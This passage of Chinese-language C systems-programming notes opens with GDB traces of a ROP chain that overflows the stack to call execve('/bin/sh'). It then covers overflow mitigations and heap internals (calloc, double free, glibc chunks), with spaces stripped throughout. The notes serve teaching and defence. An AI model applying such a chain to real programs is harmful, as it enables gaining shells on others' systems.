:pushrbp) 0040|0x7fffffffdd70-->0x4002c8(<_init>:subrsp,0x8) 0048|0x7fffffffdd78-->0xb1d92f39eb9cba5c 0056|0x7fffffffdd80-->0x401560(<__libc_csu_init>:pushr14) ``` ret後的程式碼狀況 ``` =>0x400c46:movedi,eax 0x400c48:call0x40ea20 0x400c4d:cmpedx,eax 0x400c4f:jbe0x400b50 0x400c55:jmp0x400b4a ``` 當輸入我們所製作的攻擊字串 ``` 0000|0x7fffffffdd48-->0x4014c6(<__libc_setup_tls>:poprdi) 0008|0x7fffffffdd50-->0x6c9f80-->0x7fffffffe209-->0x9f585673b63ed8d 0016|0x7fffffffdd58-->0x4015e7(<__libc_csu_init>:poprsi) 0024|0x7fffffffdd60-->0x68732f6e69622f('/bin/sh') 0032|0x7fffffffdd68-->0x47a622(<__mpn_extract_double>:movQWORDPTR[rdi],rsi) 0040|0x7fffffffdd70-->0x478636(:poprax) 0048|0x7fffffffdd78-->0x3b(';') 0056|0x7fffffffdd80-->0x0 ``` 第一次ret後，執行了一次pop讓RSP指到下一個指令 ``` 0000|0x7fffffffdd50-->0x6c9f80-->0x7fffffffe209-->0x9f585673b63ed8d 0008|0x7fffffffdd58-->0x4015e7(<__libc_csu_init>:poprsi) 0016|0x7fffffffdd60-->0x68732f6e69622f('/bin/sh') 0024|0x7fffffffdd68-->0x47a622(<__mpn_extract_double>:movQWORDPTR[rdi],rsi) 0032|0x7fffffffdd70-->0x478636(:poprax) 0040|0x7fffffffdd78-->0x3b(';') 0048|0x7fffffffdd80-->0x0 0056|0x7fffffffdd88-->0x0 ``` 指令執行位置，可以發現下一個指令又是ret，程式會繼續執行我們所加入的第2個指令 ``` =>0x4014c6<__libc_setup_tls>:poprdi 0x4014c7<__libc_setup_tls>:ret 0x4014c8<__libc_setup_tls>:nopDWORDPTR[rax+rax*1+0x0] 0x4014d0<__libc_setup_tls>:learax,[rbp+r14*1-0x1] ``` 到了要執行系統呼叫時的暫存器狀態 ``` RAX:0x3b(';') RBX:0x0 RCX:0x43f430(<__read_nocancel>:cmprax,0xfffffffffffff001) RDX:0x0 RSI:0x0 RDI:0x6c9f80-->0x68732f6e69622f('/bin/sh') RBP:0x6161616161616161('aaaaaaaa') RSP:0x7fffffffdda8-->0x5d7256ca7136cc0a RIP:0x467265(:syscall) R8:0x6cc5c0-->0x0 R9:0x6ce880(0x00000000006ce880) R10:0x3c(':pushr14) R13:0x4015f0(<__libc_csu_fini>:pushrbx) R14:0x0 R15:0x0 ``` 回顧系統呼叫執行的規則： -以RAX的數值決定要執行的系統呼叫，0x3b表示要執行的為systemcallexec -systemcallexec(constchar\*filename,constchar\*constargv[],constchar\*constenvp[]) *以RDI的作為\*filename傳入 *以RSI作為constchar\*constargv[]，因用不到所以設為0 *以RDX作為constchar\*constenvp[]，因用不到所以設為0 ###討論 **發生成因** -只要有涉及**內容傳遞**就有可能發生overflow -不同型態間的數值傳遞、型態間的轉換也很容易產生overflow，不同型態所佔有的記憶體空間不同，傳遞過程中必須特別注意型態間的記憶體空間是否相符，但對開發者而言是非常不容易察覺的，而C語言把許多檢查行為交由開發者執行，因此對於overflow的預防機制都取決於開發者本身，這造就了許多不安全的程式碼。

-後續C語言的版本也有提出修正方案，如：gets函式從C11中的C標準程式庫移除，因為無法安全地使用該函式，改使用fgets等。

**造成問題** -記憶體被覆蓋成非預期的狀況會導致程式執行錯誤或執行非預期的結果 *上述的例子就是造成非法登入 -若是發現overflow覆蓋的記憶題涵蓋returnaddress時，就可以透過將returnaddress覆蓋成指定的函式地址，使程式return到目標函式並執行 **keyword：**ROP(ReturnOrientedPrograming) -ROPattack除了直接可以return到現有的函式以外，也可以透過**拼湊**的方式將一堆小指令組合成攻擊者所需要的功能，例如執行/bin/sh等 **keyword：**ROPgadget、onegadget ###解決方案 -mainpoint：==在傳輸內容時一定要對內容長度與儲存空間長度做檢查== -C語言目前有許多函式都有加入長度檢查的機制，如：fget、fputs、strncpy等，使用這些補強的函式取代原本使用的函式 -在程式中加入驗證用的變數，當變數被改變時表示有overflow產生 *canary：gcc在編譯的時候加入的stackoverflow驗證機制，在容易發生stackoverflow的區域插入一個數值，透過數值是否更動來判斷有沒有發生overflow -目前的編譯器會自動進行ALSR（記憶體隨機分配)，也可以在一定程度上保護程式 ##藏在Heap裡的細節 程式如下n會大到10^7^，當arr用line4宣告會segmentationfault 但改成動態宣告就可以正常執行了，為什麼呢？ 想過會不會是long(8byte)*10^7把記憶體用完了？ ```cpp unsignedn,m; scanf("%u%u",&n,&m); longarr[n+1]; //long*arr=malloc((n+1)*sizeof(*arr)); for(size_ti=1;i<=n;++i) arr[i]=0; ``` 將Line5到Line7改為calloc，確認是否會遇到SegFault 若要清楚地回答這問題，需要一些背景知識: https://vorpus.org/blog/why-does-calloc-exist/ 從實作的觀點，calloc和malloc+memset是不同的！ 1.之所以stack不可以heap可以 是因為longarr[n+1];時，作業系統會去衡量要求的記憶體足不足夠，此時發現要得太大，因此發出segfault. 而malloc()是屬於妳要多少跟我說，我都給妳(overcommit)。

所以拿到的空間可能會比要求的小，作業系統發現開始不夠用時就開始殺東殺西把空間滕出來，直到砍到沒東西能砍了OOM。

因此發現，malloc()存取大容量其實是有很大風險的， 先前使用stack會segfault其實是一個"正確"的錯誤提醒，而不是錯誤，我誤會他了。

2.calloc()跟malloc+memset有很大的不同: -calloc()跟作業系統要空間時會拿到歸好零的記憶體(forsecurity)，已歸零的就不重覆歸零。

　我們無法保證malloc要回來的空間是否為0，因此都需要memset過。

(可能重工) calloc()在要大空間(128KB↑)時，如果執行環境能夠配合，就會有效率得多: -kernel分配VM給calloc()，而VM空間用完時再執行騰出空間、歸零、swap的動作(amortizecost)；malloc()先執行這些動作。

free()釋放的是pointer指向位於heap的連續記憶體，而非pointer本身佔有的記憶體(*ptr)。

舉例來說： ```cpp #include intmain(){ int*p=malloc(1024); free(p); free(p); return0; } ``` 編譯不會有錯誤，但運作時會失敗： ``` ***Errorin'./free':doublefreeorcorruption(top): 0x000000000067a010*** ``` 倘若改為以下： ```cpp #include intmain(){ int*p=malloc(1024); free(p); p=NULL; free(p); return0; } ``` 則會編譯和執行都成功。

因此，為了防止對同一個pointer作free()兩次的操作，而導致程式失敗，free()後應該設定為NULL。

##malloc/free **在GNU/Linux裡頭觀察malloc** 事先安裝gdb和包含除錯訊息的套件 ```shell $sudoaptinstallgdbgdb-dbg ``` GDB操作: ```shell $gdb-q`whichgdb` Readingsymbolsfrom/usr/bin/gdb... (gdb)start ... Temporarybreakpoint1,main(argc=1,argv=0x7fffffffe4c8)at./gdb/gdb.c:25 ... (gdb)p((double(*)())pow)(2.,3.) $1=8 (gdb)callmalloc_stats() Arena0: systembytes=135168 inusebytes=28000 Total(incl.mmap): systembytes=135168 inusebytes=28000 maxmmapregions=0 maxmmapbytes=0 $2=-168929728 (gdb)callmalloc_info(0,stdout) ``` glibc提供了`malloc_stats()`和`malloc_info()`這兩個函式，可顯示process的heap資訊 **延伸閱讀** *[如何实现一个malloc](https://kb.cnblogs.com/page/512454/) *[cmalloc/free初探 ](http://descent-incoming.blogspot.tw/2015/06/c-mallocfree.html)  *[WritingaSimpleGarbageCollectorinC ](https://maplant.com/gc.html#org3874059) [https://sourceware.org/gdb/onlinedocs/gdb/Target-Description-Format.html](https://sourceware.org/gdb/onlinedocs/gdb/Target-Description-Format.html) malloc:first-fit=>[https://github.com/jserv/mini-arm-os/blob/master/07-Threads/malloc.c](https://github.com/jserv/mini-arm-os/blob/master/07-Threads/malloc.c)  ###free() +不用給size +每塊空間都有控制的chunk記錄區塊大小，[[source]](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#1075) ``` chunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Sizeofpreviouschunk,ifunallocated(Pclear)| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Sizeofchunk,inbytes|A|M|P| mem->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Userdatastartshere.... .. .(malloc_usable_size()bytes). .| nextchunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |(sizeofchunk,butusedforapplicationdata)| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Sizeofnextchunk,inbytes|A|0|1| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ``` +避免doublefree +`free()`後設成`NULL` +如何偵測doublefree： +free後會有doubly-linkedlist與其他free的空間連接 ###doublefree是如何被偵測的呢？ 考慮以下程式: ```cpp #include intmain(){ int*a=(int*)malloc(100); free(a); int*b=(int*)malloc(100); free(b); return0; } ``` 使用GDB，觀察`int*a=(int*)malloc(100);`的結果: ```shell (gdb)pa $3=(int*)0x602010 ``` 接著觀察`int*b=(int*)malloc(100);`的結果: ```shell (gdb)pb $4=(int*)0x602010 ``` 發現，系統為了加速效能，因此在free時，系統並不會馬上把之前malloc出來的chunk歸還給系統，反而是進行集中管理，並在下一次程式malloc一樣大小的chunk時，直接將預先分配好的空間分配給malloc請求者。

接著嘗試觀察被free釋放的chunk都跑去哪裡了呢？ ```cpp #include intmain(){ int*a=malloc(50); int*b=malloc(50); int*c=malloc(50); int*d=malloc(50); int*e=malloc(50); free(a); free(b); free(c); free(d); free(e); return0; } ``` 將中斷點設在free之前： ```shell (gdb)pa $11=(int*)0x602010 (gdb)pb $12=(int*)0x602050 (gdb)pc $13=(int*)0x602090 (gdb)pd $14=(int*)0x6020d0 (gdb)pe $15=(int*)0x602110 (gdb)x/50gx0x602000 0x602000:0x00000000000000000x0000000000000041 0x602010:0x00000000000000000x0000000000000000 0x602020:0x00000000000000000x0000000000000000 0x602030:0x00000000000000000x0000000000000000 0x602040:0x00000000000000000x0000000000000041 0x602050:0x00000000000000000x0000000000000000 0x602060:0x00000000000000000x0000000000000000 0x602070:0x00000000000000000x0000000000000000 0x602080:0x00000000000000000x0000000000000041 0x602090:0x00000000000000000x0000000000000000 0x6020a0:0x00000000000000000x0000000000000000 0x6020b0:0x00000000000000000x0000000000000000 0x6020c0:0x00000000000000000x0000000000000041 0x6020d0:0x00000000000000000x0000000000000000 0x6020e0:0x00000000000000000x0000000000000000 0x6020f0:0x00000000000000000x0000000000000000 0x602100:0x00000000000000000x0000000000000041 0x602110:0x00000000000000000x0000000000000000 0x602120:0x00000000000000000x0000000000000000 0x602130:0x00000000000000000x0000000000000000 0x602140:0x00000000000000000x0000000000020ec1 0x602150:0x00000000000000000x0000000000000000 0x602160:0x00000000000000000x0000000000000000 0x602170:0x00000000000000000x0000000000000000 0x602180:0x00000000000000000x0000000000000000 ``` 將中斷點設定於return之前： ```shell (gdb)x/50gx0x602000 0x602000:0x00000000000000000x0000000000000041